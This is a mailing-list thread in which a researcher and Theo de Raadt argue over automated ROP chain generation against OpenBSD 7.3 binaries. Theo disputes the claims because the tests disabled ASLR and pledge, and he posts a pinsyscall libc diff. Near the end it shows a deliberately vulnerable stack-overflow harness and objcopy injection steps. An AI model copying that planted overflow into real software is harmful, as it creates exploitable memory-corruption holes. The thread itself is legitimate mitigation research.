Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Sure, thank you for your patient response.
> 
> I will continue to refine my work and attempt to develop some
> countermeasures against ROP mitigation. If there's good news, I will
> contact OpenBSD again! By the way, the first idea I provided, which is
> "Zeroing registers before function returns," has already been applied by
> GCC and CLANG in one of their compiler flags. You might consider some of
> those approaches because, in my evaluation of their mitigation
> effectiveness, they reduced the number of gadgets in programs by an average
> of 60%. Here's the commit
> 
> related to this mechanism for you to look at.

I am aware of that change, and it comes with quite a cost -- which noone
is quantifying clearly for the PURPOSE of "enabling the option by
default, for all software".

Noone in the gnu ecosystem is proposing making it the default.  It will
remain, forever I am sure, an option to turn on only for specific software.
And it will soon be forgotten.

But turn back to the software you are "exploiting".

Will it be turned on in chmod(1)?

How about for as(1)?

I'm mentioning two programs which you believe you "exploited".

How about the other programs you listed?

How does the tradeoff work:  Is the performance lost worth the incremental
advantage of less ROP effectiveness, or are other avenues which block
effective escalation with less performance cost more valuable?

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Sure, thank you for your patient response.

I will continue to refine my work and attempt to develop some
countermeasures against ROP mitigation. If there's good news, I will
contact OpenBSD again! By the way, the first idea I provided, which is
"Zeroing registers before function returns," has already been applied by
GCC and CLANG in one of their compiler flags. You might consider some of
those approaches because, in my evaluation of their mitigation
effectiveness, they reduced the number of gadgets in programs by an average
of 60%. Here's the commit

related to this mechanism for you to look at.

Best regards,

ZoE

Theo de Raadt  于2023年10月13日周五 00:21写道：

> > We would like to collaborate with OpenBSD in researching how to reduce
> the
> > number of gadgets and increase the difficulty of using gadgets.
>
> I've think I've vaguely explained how that works.
>
> All the mitigations efforst went like this:
>
> 1) come up with an idea
> 2) write a complete working prototype
> 3) test the change in simple demonstration programs
> 4) next, test it in *ALL THE UPSTREAM CODE IN THE UNIVERSE*
>a) evaluate if the idea is viable
>   i) performance
>   ii) measureably increasing resistance
>   iii) extremely low false positive problems
>   If these metrics are not satisfied, throw away idea or go back to 2)
>b) fix ALL false positives in upstream code
>
>
> In earlier emails you mentioned 3 ideas, but didn't make it beyond step 1.
>
> > However, our efforts can increase the difficulty of ROP
> > attacks, which is meaningful
>
> I am not going to help with steps 2+, because I have other cross-platform
> mitigations already in development and don't have time to do work on other
> people's theories.
>
> Most importantly, I care more about solutions that improve fixed-length
> instruction architectures, where polymorphic ROP isn't a concern.
>
> If I sound flippant, it is because I've spent decades working on
> mitigations which help even when amd64 ROP remains possible, and your
> first step was to disable them, bypass them, and most significantly --
> failed to mention that you gutted the mitigation group.
>
>
>
>

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

> We would like to collaborate with OpenBSD in researching how to reduce the
> number of gadgets and increase the difficulty of using gadgets.

I've think I've vaguely explained how that works.

All the mitigations efforst went like this:

1) come up with an idea
2) write a complete working prototype
3) test the change in simple demonstration programs
4) next, test it in *ALL THE UPSTREAM CODE IN THE UNIVERSE*
   a) evaluate if the idea is viable
  i) performance
  ii) measureably increasing resistance
  iii) extremely low false positive problems
  If these metrics are not satisfied, throw away idea or go back to 2)
   b) fix ALL false positives in upstream code


In earlier emails you mentioned 3 ideas, but didn't make it beyond step 1.

> However, our efforts can increase the difficulty of ROP
> attacks, which is meaningful

I am not going to help with steps 2+, because I have other cross-platform
mitigations already in development and don't have time to do work on other
people's theories.

Most importantly, I care more about solutions that improve fixed-length
instruction architectures, where polymorphic ROP isn't a concern.

If I sound flippant, it is because I've spent decades working on
mitigations which help even when amd64 ROP remains possible, and your
first step was to disable them, bypass them, and most significantly --
failed to mention that you gutted the mitigation group.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Hello,

It's possible that using "exploitable" might not be an appropriate term.
Perhaps I should change it to "evaluate". Our goal remains to assess the
ROP construction capabilities of the gadget sets within programs, which is
the correct approach.

Additionally, it's great to see that OpenBSD can use more security
mechanisms to enhance the security of the operating system.

Best regards,

ZoE


Theo de Raadt  于2023年10月13日周五 00:01写道：

> Nan ZoE  wrote:
>
> > Additionally, it's reasonable to assess the correctness of the ROP
> payloads
> > we generate for a program by injecting vulnerabilities. Firstly, the
> > original gadget set in the program remains intact and usable. Secondly,
> > this method of injecting vulnerabilities is equivalent to assuming the
> > existence of easily exploitable ROP attack vulnerabilities in the
> program.
>
> You are using the word "exploitable" again, which is incorrect terminology.
>
> It is not the same at all.  You have not just disabled all address space
> layout control, but also pledge and unveil, and I'm sure there are other
> things you have disabled but not mentioned.  The syntheticness of your
> test is removing mitigations you aren't even aware of.
>
> > In both cases, the ROP payloads can be executed, and the gadgets in these
> > ROP payloads are all from the original program. In other words, if a
> > program has vulnerabilities that require ROP attack techniques, then the
> > ROP payloads generated by our tool are entirely applicable.
> >
> > In our experiments, we extracted over a thousand programs from OpenBSD,
> and
> > while most of them do not have syscall instruction gadgets, there are
> still
> > more than 240 programs that contain syscall instruction gadgets. This is
> > confirmed by various tools such as ropper <
> https://github.com/sashs/Ropper>and
> > ROPgadget  that we used to
> > extract gadget sets. Even in cases where programs are dynamically linked,
> > the syscall instructions are not solely located within their ld.so.
>
> The following diff will be commited soon.  I forgot to run pinsyscall()
> in static binaries which don't actually call execve(), as a result in
> those static binaries any syscall instruction would work, rather than
> just the precise one assigned by pinsyscall(SYS_execve, ...).  With this
> diff such programs no longer have a viable syscall instructions which
> will reach execve(2).
>
> The programs improved tend to be boring programs which run without any
> privilege which could be "exploited".
>
> This change makes it impossible to call execve() syscall in most of /bin
> and /sbin (your list of 240 will shrink), and a couple static binaries
> in /usr/*bin/.  A majority of those programs call pledge() without
> "exec" early during startup, so your synthetic results of exploiting
> programs before they actually run main() was already highly misleading.
>
> Index: dlfcn/init.c
> ===
> RCS file: /cvs/src/lib/libc/dlfcn/init.c,v
> retrieving revision 1.18
> diff -u -p -u -r1.18 init.c
> --- dlfcn/init.c27 Feb 2023 15:00:17 -  1.18
> +++ dlfcn/init.c12 Oct 2023 14:22:09 -
> @@ -154,6 +154,11 @@ _libc_preinit(int argc, char **argv, cha
> extern const int _execve_size;
>
> pinsyscall(SYS_execve, (execve),
> _execve_size);
> +   } else {
> +   static const int not_syscall;
> +
> +   /* Static binary which does not use execve() */
> +   pinsyscall(SYS_execve, (void *)_syscall, 1);
> }
>  #endif
> }
>

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Hello,  Thank you for your response.
> 
> I'm sorry, I just looked at the introduction of pinsyscall. If OpenBSD only 
> uses
> pinsyscall, calling syscall is a challenge in exploitation. However, I'm not 
> sure if
> this is a required protection mechanism for all programs. What happens if a 
> user
> inlines the syscall instruction when writing a program?

That question means you don't understand pinsyscall().  There is only one 
syscall
instruction in the program which can perform the job.  In dynamic binaries it is
somewhere in randomly-placed randomly-linked libc.so

How do you find it?

> Or can it be bypassed through address leakage?

Are you kidding?  You are the the one leaking the entire address space of the
program you tell me and calling this realistic "exploitation" methodology!

> I am currently uncertain. The presence of protection mechanisms like
> address randomization is not unique to OpenBSD; many exploitation scenarios 
> encounter
> these issues. Ensuring that these addresses are known is a prerequisite for 
> using
> gadgets in ROP attacks.

Yes, ensuring it is required.  You are intentionally ignoring it.  No matter how
much we harden the address space with complex solutions, you will ignore those
improvements.

> Studying the automated ROP construction capabilities of a
> program's gadget collection is a general problem. We analyze whether these 
> gadgets can
> be chained into a working ROP, and whether this ROP can achieve the 
> exploitation
> target.

I'll quote from wikipedia "exploit (computer security):

An exploit (from the English verb to exploit, meaning "to use something
to s own advantage") is a piece of software, a chunk of data, or a
sequence of commands that takes advantage of a bug or vulnerability to
cause unintended or unanticipated behavior to occur on computer
software, hardware, or something electronic (usually computerized).[1]
Such behavior frequently includes things like gaining control of a
computer system, allowing privilege escalation, or a denial-of-service
(DoS or related DDoS) attack. In lay terms, some exploit is akin to a
'hack'.

Your ROP chain happens inside *YOUR BINARY*.  You modified the binary.  You
are not attacking a system component, but your replacement for the system
component.  I could replicate your work by writing a constructor that calls
system("/bin/sh", NULL) and using objcopy to install that into a replaceent 
binary.
That is not exploitation, because that replacement binary is run BY ME, not in
a situation where a different user context will gain results.

That's synthetic.  You are proving that enough gadgetry still exits after
our big effort to reduce it.  Bravo!  We could have told that enough gadgetry
will remain!!

> We can enhance the difficulty of ROP attacks through adversarial approaches
> related to ROP mitigation mechanisms (which aim to reduce gadgets in the 
> program and
> increase their complexity). This is a cost-effective endeavor. I believe 
> OpenBSD has
> been continuously improving in this regard since 2018, making it more advanced
> compared to other operating systems. By simply adjusting compilation 
> parameters, you
> can reduce the number of gadgets and make ROP attacks more difficult. With 
> the results
> of our tool's experiments, we can mutually enhance this aspect, making it 
> better!

I do not believe there is much more which can be done.  But I'll be here, 
waiting
for toolchain diffs which have been fully validated in all axis.

> However, the ultimate goal of ROP attacks is not just to call the syscall 
> instruction.
> They can also perform arbitrary function calls, arbitrary memory writes, or 
> arbitrary
> memory reads, among various types of exploitation primitives. All of these 
> primitives
> can assist in the final exploitation. Still, they require the selection and 
> chaining
> of gadgets to achieve these actions, making it meaningful to increase the 
> difficulty
> of using gadgets.

No shit sherlock.

Except, your environment is too synthetic because you are disabling all
the other efforts to mitigate against the impossibility of ever solving
polymorphic ROP.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Hello,

I'm sorry to bother you again, and I appreciate your thoughtful responses.
I would like to clarify that the process of ROP exploitation may involve
bypassing certain security mechanisms (such as address randomization) and
the execution of gadgets. Our focus is on the latter part, which is how to
achieve the ultimate goal of ROP attacks by selecting and chaining gadgets.
We would like to collaborate with OpenBSD in researching how to reduce the
number of gadgets and increase the difficulty of using gadgets. Of course,
I understand that making gadgets disappear completely from a program is
impossible. However, our efforts can increase the difficulty of ROP
attacks, which is meaningful. I hope you can understand my work and ideas,
even though my work may seem insignificant.


Best regards,

ZoE

Nan ZoE  于2023年10月12日周四 23:49写道：

> Hello,  Thank you for your response.
>
> I'm sorry, I just looked at the introduction of pinsyscall. If OpenBSD
> only uses pinsyscall, calling syscall is a challenge in exploitation.
> However, I'm not sure if this is a required protection mechanism for all
> programs. What happens if a user inlines the syscall instruction when
> writing a program? Or can it be bypassed through address leakage? I am
> currently uncertain. The presence of protection mechanisms like address
> randomization is not unique to OpenBSD; many exploitation scenarios
> encounter these issues. Ensuring that these addresses are known is a
> prerequisite for using gadgets in ROP attacks. Studying the automated ROP
> construction capabilities of a program's gadget collection is a general
> problem. We analyze whether these gadgets can be chained into a working
> ROP, and whether this ROP can achieve the exploitation target. We can
> enhance the difficulty of ROP attacks through adversarial approaches
> related to ROP mitigation mechanisms (which aim to reduce gadgets in the
> program and increase their complexity). This is a cost-effective endeavor.
> I believe OpenBSD has been continuously improving in this regard since
> 2018, making it more advanced compared to other operating systems. By
> simply adjusting compilation parameters, you can reduce the number of
> gadgets and make ROP attacks more difficult. With the results of our tool's
> experiments, we can mutually enhance this aspect, making it better!
>
> However, the ultimate goal of ROP attacks is not just to call the syscall
> instruction. They can also perform arbitrary function calls, arbitrary
> memory writes, or arbitrary memory reads, among various types of
> exploitation primitives. All of these primitives can assist in the final
> exploitation. Still, they require the selection and chaining of gadgets to
> achieve these actions, making it meaningful to increase the difficulty of
> using gadgets.
>
> Best regards,
>
> ZoE
>
> Nan ZoE  于2023年10月12日周四 23:21写道：
>
>> Hello,  Thank you for your response.
>>
>> We don't have 100% visibility into memory. We are merely using a simple
>> stack overflow vulnerability to verify the feasibility of the ROP we
>> generate. Bypassing addresses randomization issues in program code segments
>> (e.g., .text code segment) and often involves addressing leakage using
>> gadgets from the code segment. However, bypassing address randomization for
>> stack and heap addresses can be more challenging, and these leakage methods
>> are closely related to the specific vulnerabilities. Nevertheless, our main
>> focus remains on the problem of linking gadgets. While this issue is not
>> new, I'd like to emphasize that, in light of some solutions proposed for
>> OpenBSD regarding reducing gadgets to mitigate ROP attacks
>> , we aim to
>> enhance the capabilities of these solutions. Our goal is to reduce the
>> number of gadgets in the program. It's impossible to eliminate gadgets
>> entirely, but there's an ongoing adversarial process. Our tool can
>> systematically evaluate the limitations of these mitigation mechanisms and
>> make gadget utilization more challenging in this adversarial context. These
>> contributions may be modest, but they are certainly valuable.
>>
>> Additionally, it's reasonable to assess the correctness of the ROP
>> payloads we generate for a program by injecting vulnerabilities. Firstly,
>> the original gadget set in the program remains intact and usable. Secondly,
>> this method of injecting vulnerabilities is equivalent to assuming the
>> existence of easily exploitable ROP attack vulnerabilities in the program.
>> In both cases, the ROP payloads can be executed, and the gadgets in these
>> ROP payloads are all from the original program. In other words, if a
>> program has vulnerabilities that require ROP attack techniques, then the
>> ROP payloads generated by our tool are entirely applicable.
>>
>> In our experiments, we extracted over a thousand programs from OpenBSD,
>> and while most of them do not have syscall instruction 

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Additionally, it's reasonable to assess the correctness of the ROP payloads
> we generate for a program by injecting vulnerabilities. Firstly, the
> original gadget set in the program remains intact and usable. Secondly,
> this method of injecting vulnerabilities is equivalent to assuming the
> existence of easily exploitable ROP attack vulnerabilities in the program.

You are using the word "exploitable" again, which is incorrect terminology.

It is not the same at all.  You have not just disabled all address space
layout control, but also pledge and unveil, and I'm sure there are other
things you have disabled but not mentioned.  The syntheticness of your
test is removing mitigations you aren't even aware of.

> In both cases, the ROP payloads can be executed, and the gadgets in these
> ROP payloads are all from the original program. In other words, if a
> program has vulnerabilities that require ROP attack techniques, then the
> ROP payloads generated by our tool are entirely applicable.
> 
> In our experiments, we extracted over a thousand programs from OpenBSD, and
> while most of them do not have syscall instruction gadgets, there are still
> more than 240 programs that contain syscall instruction gadgets. This is
> confirmed by various tools such as ropper and
> ROPgadget  that we used to
> extract gadget sets. Even in cases where programs are dynamically linked,
> the syscall instructions are not solely located within their ld.so.

The following diff will be commited soon.  I forgot to run pinsyscall()
in static binaries which don't actually call execve(), as a result in
those static binaries any syscall instruction would work, rather than
just the precise one assigned by pinsyscall(SYS_execve, ...).  With this
diff such programs no longer have a viable syscall instructions which
will reach execve(2).

The programs improved tend to be boring programs which run without any
privilege which could be "exploited".

This change makes it impossible to call execve() syscall in most of /bin
and /sbin (your list of 240 will shrink), and a couple static binaries
in /usr/*bin/.  A majority of those programs call pledge() without
"exec" early during startup, so your synthetic results of exploiting
programs before they actually run main() was already highly misleading.

Index: dlfcn/init.c
===
RCS file: /cvs/src/lib/libc/dlfcn/init.c,v
retrieving revision 1.18
diff -u -p -u -r1.18 init.c
--- dlfcn/init.c27 Feb 2023 15:00:17 -  1.18
+++ dlfcn/init.c12 Oct 2023 14:22:09 -
@@ -154,6 +154,11 @@ _libc_preinit(int argc, char **argv, cha
extern const int _execve_size;
 
pinsyscall(SYS_execve, (execve), _execve_size);
+   } else {
+   static const int not_syscall;
+
+   /* Static binary which does not use execve() */
+   pinsyscall(SYS_execve, (void *)_syscall, 1);
}
 #endif
}

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Hello,  Thank you for your response.

I'm sorry, I just looked at the introduction of pinsyscall. If OpenBSD only
uses pinsyscall, calling syscall is a challenge in exploitation. However,
I'm not sure if this is a required protection mechanism for all programs.
What happens if a user inlines the syscall instruction when writing a
program? Or can it be bypassed through address leakage? I am currently
uncertain. The presence of protection mechanisms like address randomization
is not unique to OpenBSD; many exploitation scenarios encounter these
issues. Ensuring that these addresses are known is a prerequisite for using
gadgets in ROP attacks. Studying the automated ROP construction
capabilities of a program's gadget collection is a general problem. We
analyze whether these gadgets can be chained into a working ROP, and
whether this ROP can achieve the exploitation target. We can enhance the
difficulty of ROP attacks through adversarial approaches related to ROP
mitigation mechanisms (which aim to reduce gadgets in the program and
increase their complexity). This is a cost-effective endeavor. I believe
OpenBSD has been continuously improving in this regard since 2018, making
it more advanced compared to other operating systems. By simply adjusting
compilation parameters, you can reduce the number of gadgets and make ROP
attacks more difficult. With the results of our tool's experiments, we can
mutually enhance this aspect, making it better!

However, the ultimate goal of ROP attacks is not just to call the syscall
instruction. They can also perform arbitrary function calls, arbitrary
memory writes, or arbitrary memory reads, among various types of
exploitation primitives. All of these primitives can assist in the final
exploitation. Still, they require the selection and chaining of gadgets to
achieve these actions, making it meaningful to increase the difficulty of
using gadgets.

Best regards,

ZoE

Nan ZoE  于2023年10月12日周四 23:21写道：

> Hello,  Thank you for your response.
>
> We don't have 100% visibility into memory. We are merely using a simple
> stack overflow vulnerability to verify the feasibility of the ROP we
> generate. Bypassing addresses randomization issues in program code segments
> (e.g., .text code segment) and often involves addressing leakage using
> gadgets from the code segment. However, bypassing address randomization for
> stack and heap addresses can be more challenging, and these leakage methods
> are closely related to the specific vulnerabilities. Nevertheless, our main
> focus remains on the problem of linking gadgets. While this issue is not
> new, I'd like to emphasize that, in light of some solutions proposed for
> OpenBSD regarding reducing gadgets to mitigate ROP attacks
> , we aim to
> enhance the capabilities of these solutions. Our goal is to reduce the
> number of gadgets in the program. It's impossible to eliminate gadgets
> entirely, but there's an ongoing adversarial process. Our tool can
> systematically evaluate the limitations of these mitigation mechanisms and
> make gadget utilization more challenging in this adversarial context. These
> contributions may be modest, but they are certainly valuable.
>
> Additionally, it's reasonable to assess the correctness of the ROP
> payloads we generate for a program by injecting vulnerabilities. Firstly,
> the original gadget set in the program remains intact and usable. Secondly,
> this method of injecting vulnerabilities is equivalent to assuming the
> existence of easily exploitable ROP attack vulnerabilities in the program.
> In both cases, the ROP payloads can be executed, and the gadgets in these
> ROP payloads are all from the original program. In other words, if a
> program has vulnerabilities that require ROP attack techniques, then the
> ROP payloads generated by our tool are entirely applicable.
>
> In our experiments, we extracted over a thousand programs from OpenBSD,
> and while most of them do not have syscall instruction gadgets, there are
> still more than 240 programs that contain syscall instruction gadgets. This
> is confirmed by various tools such as ropper
> and ROPgadget
>  that we used to extract
> gadget sets. Even in cases where programs are dynamically linked, the
> syscall instructions are not solely located within their ld.so.
>
>
> Best regards,
>
> ZoE
>
>
> Theo de Raadt  于2023年10月12日周四 22:59写道：
>
>> > Please note that after injecting the vulnerabilities, the programs
>> execute
>> > the '*main*' function from the vulnerable program, not the entry
>> function
>> > from the original program. However, the Gadgets from the original
>> program
>> > are still usable. This approach allows us to evaluate the ROP
>> construction
>> > capability of the original program's Gadget collection and use the
>> injected
>> > vulnerabilities to validate the correctness of ROP 

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Hello,  Thank you for your response.

We don't have 100% visibility into memory. We are merely using a simple
stack overflow vulnerability to verify the feasibility of the ROP we
generate. Bypassing addresses randomization issues in program code segments
(e.g., .text code segment) and often involves addressing leakage using
gadgets from the code segment. However, bypassing address randomization for
stack and heap addresses can be more challenging, and these leakage methods
are closely related to the specific vulnerabilities. Nevertheless, our main
focus remains on the problem of linking gadgets. While this issue is not
new, I'd like to emphasize that, in light of some solutions proposed for
OpenBSD regarding reducing gadgets to mitigate ROP attacks
, we aim to
enhance the capabilities of these solutions. Our goal is to reduce the
number of gadgets in the program. It's impossible to eliminate gadgets
entirely, but there's an ongoing adversarial process. Our tool can
systematically evaluate the limitations of these mitigation mechanisms and
make gadget utilization more challenging in this adversarial context. These
contributions may be modest, but they are certainly valuable.

Additionally, it's reasonable to assess the correctness of the ROP payloads
we generate for a program by injecting vulnerabilities. Firstly, the
original gadget set in the program remains intact and usable. Secondly,
this method of injecting vulnerabilities is equivalent to assuming the
existence of easily exploitable ROP attack vulnerabilities in the program.
In both cases, the ROP payloads can be executed, and the gadgets in these
ROP payloads are all from the original program. In other words, if a
program has vulnerabilities that require ROP attack techniques, then the
ROP payloads generated by our tool are entirely applicable.

In our experiments, we extracted over a thousand programs from OpenBSD, and
while most of them do not have syscall instruction gadgets, there are still
more than 240 programs that contain syscall instruction gadgets. This is
confirmed by various tools such as ropper and
ROPgadget  that we used to
extract gadget sets. Even in cases where programs are dynamically linked,
the syscall instructions are not solely located within their ld.so.


Best regards,

ZoE


Theo de Raadt  于2023年10月12日周四 22:59写道：

> > Please note that after injecting the vulnerabilities, the programs
> execute
> > the '*main*' function from the vulnerable program, not the entry function
> > from the original program. However, the Gadgets from the original program
> > are still usable. This approach allows us to evaluate the ROP
> construction
> > capability of the original program's Gadget collection and use the
> injected
> > vulnerabilities to validate the correctness of ROP exploitation.
>
> Which means you do all your work before a program can self-protect
> itself using pledge() or unveil() or a whole bunch of other mechanisms.
>
> You are not just ignoring address space randomization, but also a bunch
> of other mechanisms.
>
> int
> main()
> {
> pledge("stdio, NULL);
> while (1)
>   sleep(100:
> }
>
> You would do an execve() inside this program image because you've never
> started running the program.  But since the program never ran any of it's
> own code, you haven't done it in the program, but only in your own code.
>
> And this work is done through offline calculation obviously, since the
> program's text segment is not readable (on most modern machines with PKU)
> due to the xonly work which makes the text segment not readable.
>
> That is so synthetic, it is uninteresting.
>
>
> I too can become very rich quickly by assuming the banks have turned off
> all their protections.
>

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> In comparison, a more straightforward example is the "as" program. The ROP
> payload
> 
> for
> this program is relatively simple, and it can also achieve the ROP target
> of calling execve("/bin/sh", 0, 0).

In this dynamically linked program, how do you find the VERY SPECIFIC
"syscall" instruction inside _sys_execve inside per-boot-unique
libc.so.* which is mapped at a random address by ld.so everytime you
run it, and then how you ensure that specific address is in the ROP
sequence in the stack?

You cannot point at an arbitrary "syscall" instruction.  It must be
precisely that instruction, due to pinsyscall(2) use.

You do this offline, ahead of time?  You cannot do it at runtime, because
you cannot explore the text-segment because it is non-readable, unless your
machine is old and lacks PKU.

I suspect you have disabled additional mitigations, and are not mentioning
those requirements.

That's not testing OpenBSD. That's testing against your own fork of OpenBSD.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

> Please note that after injecting the vulnerabilities, the programs execute
> the '*main*' function from the vulnerable program, not the entry function
> from the original program. However, the Gadgets from the original program
> are still usable. This approach allows us to evaluate the ROP construction
> capability of the original program's Gadget collection and use the injected
> vulnerabilities to validate the correctness of ROP exploitation.

Which means you do all your work before a program can self-protect
itself using pledge() or unveil() or a whole bunch of other mechanisms.

You are not just ignoring address space randomization, but also a bunch
of other mechanisms.

int
main()
{
pledge("stdio, NULL);
while (1)
  sleep(100:
}

You would do an execve() inside this program image because you've never
started running the program.  But since the program never ran any of it's
own code, you haven't done it in the program, but only in your own code.

And this work is done through offline calculation obviously, since the
program's text segment is not readable (on most modern machines with PKU)
due to the xonly work which makes the text segment not readable.

That is so synthetic, it is uninteresting.


I too can become very rich quickly by assuming the banks have turned off
all their protections.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> Thank you for your response. It seems there might be some misunderstanding 
> about what
> I'm researching. Allow me to explain the experiments I'm conducting in more 
> detailed.

I'm looking at the Subject.  It uses the word "Exploitation".  That word
has a very specific meaning in this field.  You are saying you are able
to use ROP methods to *take advantage* of software, meaning, raise your
capabilities and abuse the software to do something you should not be able
to do.

I do not see evidence to match that claim.

> We are working on implementing a tool similar to angrop and ropium. These 
> tools aim to
> automate ROP attacks. Such tools were initially introduced in the paper Q: 
> Exploit
> Hardening Made Easy. These tools and papers generally assume the ability to 
> bypass
> ASLR and other address randomization techniques, focusing more on automating 
> the
> selection and chaining of Gadgets in a given program to construct an ROP 
> payload.

I don't find that interesting, because it is extremely old news that you
can't remove ALL the polymorphic gadgets in variable size instruction
architectures.  That is exactly why we work on adding other mitigations
instead.  Such as "ASLR and other address randomization techniques".

> I'm not entirely clear about the meaning of your statement, "You cannot see 
> where in
> memory the binary is mapped." However, I gather from the sentence, "What info 
> leak are
> you exercising to extract libc.so's  location, and per-boot layout, and then 
> precisely
> target the specific 'syscall' instruction?" that you may be referring to the 
> challenge
> of not being able to accurately determine the address of the 'syscall' 
> instruction due
> to address randomization.

So 5 emails deep in the thread, we are finally told the basis of your work is an
assumption you have 100% visibility on the execution layout.  Not just a tiny
info leak, but the mother of all info leaks.  That's not exploitation, that's
synthetic.

> I also checked the protection mechanisms for programs in OpenBSD 7.3 using the
> 'checksec' tool from pwn. OpenBSD enables PIE (Position Independent 
> Executable) code
> address randomization protection. When faced with address randomization, many 
> exploits
> require first achieving an address leak or employing other ASLR bypass 
> techniques
> before proceeding with further privilege escalation. However, our primary 
> focus is not
> on address leak methods, as they can vary significantly and are closely tied 
> to the
> specific vulnerability and program. Instead, we concentrate on automating the 
> Gadget
> selection and chaining process to achieve privilege escalation ultimately.

Your logic isn't based upon an info leak, but upon a info leak of the entire
program by running it inside your exploit program.  That's so synthetic it is
laughable.

> Our experiments revolve around evaluating the ROP construction capability of 
> each
> program's Gadget collection. In other words, we assess the maximum ROP 
> construction
> potential of each program's distinct Gadget collection. Initially, we assume 
> that the
> issue of address randomization can be bypassed using known address leak
> vulnerabilities/exploitation techniques. For our experiments, we disable the 
> address
> randomization protection mechanism in the programs.

That is incredibly boring, because there are no solutions that entirely
remove polymorphic ROP.

> In our experiments, we extracted 264 programs from OpenBSD 7.3, which we have 
> made
> available in the orig folder on Github. We then injected simple stack overflow
> vulnerabilities into these programs using objcopy, while preserving all the 
> original
> program's code to ensure the integrity of the original Gadget collection. We 
> placed
> the programs with injected vulnerabilities in the vuln folder on Github, with 
> each
> program corresponding to a specific one in the orig folder.
> 
> Please note that after injecting the vulnerabilities, the programs execute 
> the 'main'
> function from the vulnerable program, not the entry function from the original
> program.

Wow.

> However, the Gadgets from the original program are still usable. This
> approach allows us to evaluate the ROP construction capability of the original
> program's Gadget collection and use the injected vulnerabilities to validate 
> the
> correctness of ROP exploitation.

There you go again, using the phase "exploitation".

You have exploited nothing.  Your approach is entirely synthetic and
there is no escalation of privs or capabilities in it.

It is IMPOSSIBLE to remove all the ROP gadgets on a variable instruction
architecture, they occur polymorphically nested inside other
instructions.  This is well known.  There were talks and papers about
this 20 years ago.  I see nothing original being shared here.  

We never claimed to have fixed this on amd64.  A variety of improvements
resulted in some reduction, but I suspect there are only 

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Thank you for your response. It seems there might be some misunderstanding
about what I'm researching. Allow me to explain the experiments I'm
conducting in more detailed.


We are working on implementing a tool similar to angrop
 and ropium
. These tools aim to automate ROP
attacks. Such tools were initially introduced in the paper Q: Exploit
Hardening Made Easy
.
These tools and papers generally assume the ability to bypass ASLR and
other address randomization techniques, *focusing more on automating the
selection and chaining of Gadgets in a given program to construct an ROP
payload*.


I'm not entirely clear about the meaning of your statement, "*You cannot
see where in memory the binary is mapped.*" However, I gather from the
sentence, "*What info leak are you exercising to extract **libc.so's
** location,
and per-boot layout, and then precisely target the specific 'syscall'
instruction?*" that you may be referring to the challenge of not being able
to accurately determine the address of the 'syscall' instruction due to
address randomization.


I also checked the protection mechanisms for programs in OpenBSD 7.3 using
the 'checksec' tool from pwn. OpenBSD enables PIE (Position Independent
Executable) code address randomization protection. When faced with address
randomization, many exploits require first achieving an address leak or
employing other ASLR bypass techniques before proceeding with further
privilege escalation. However, our primary focus is not on address leak
methods, as they can vary significantly and are closely tied to the
specific vulnerability and program. Instead, *we concentrate on automating
the Gadget selection and chaining process to achieve privilege escalation
ultimately.*


Our experiments revolve around evaluating the ROP construction capability
of each program's Gadget collection. In other words, we assess the maximum
ROP construction potential of each program's distinct Gadget collection.
Initially, we assume that the issue of address randomization can be
bypassed using known address leak vulnerabilities/exploitation techniques.
For our experiments, we disable the address randomization protection
mechanism in the programs.

In our experiments, we extracted 264 programs from OpenBSD 7.3, which we
have made available in the orig folder on Github
.
We then injected simple stack overflow vulnerabilities into these programs
using *objcopy*, while preserving all the original program's code to*
ensure the integrity of the original Gadget collection*. We placed the
programs with injected vulnerabilities in the vuln folder on Github
,
with each program corresponding to a specific one in the orig folder.


Please note that after injecting the vulnerabilities, the programs execute
the '*main*' function from the vulnerable program, not the entry function
from the original program. However, the Gadgets from the original program
are still usable. This approach allows us to evaluate the ROP construction
capability of the original program's Gadget collection and use the injected
vulnerabilities to validate the correctness of ROP exploitation.


# critical code in vul.c .
>>
>> void vul() {
>>   char buf[1];
>>   int fd = open(filename, O_RDONLY);
>>   assert(fd != -1);
>>   size_t size = filesize(fd);
>>   printf("\t- File '%s' with size '%i'\n", filename, size);
>>   int ret = read(fd, buf, size);
>>   assert(ret != -1);
>> #ifdef WINDOWS
>>   ;
>> #else
>>   close(fd);
>> #endif
>>   return;
>> }
>> int main(int argc, char **argv) {
>>   setbuf(stdout, NULL);
>>   snprintf(filename, sizeof(filename), argv[1]);
>>   printf("Start Test Program!\n");
>>   printf("main: %p", main);
>>   vul(filename);
>>   printf("   FAIL\n");
>>   printf(" * Control flow wasn't be hijacked\n");
>>   return 0;
>> }
>>
>>
> # critical code in Makefile.
> # gcc -m64 vul.c -o vul32.o -fno-PIC -fno-stack-protector -g -c
> # objcopy --add-section .mytext=$< --set-section-flags
> .mytext=alloc,code,load,readonly source/vul64.o $@
>

This provides an example of ROP generation, such as the "chmod
"
program, which is only 290KB and has a very limited number of gadgets.
Using the ropper  tool, we found only 1088
gadgets. Using gadgets becomes increasingly challenging under the influence
of OpenBSD's ROP mitigation mechanism. Through multiple automated attempts
at selecting and chaining gadgets, our tool eventually generated an exploit
script that successfully executes execve("/bin/sh", 0, 0). The exploit is
highly complex, and you can find the script here

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

Nan ZoE  wrote:

> In *OpenBSD 7.3,* out of 264 programs, we only
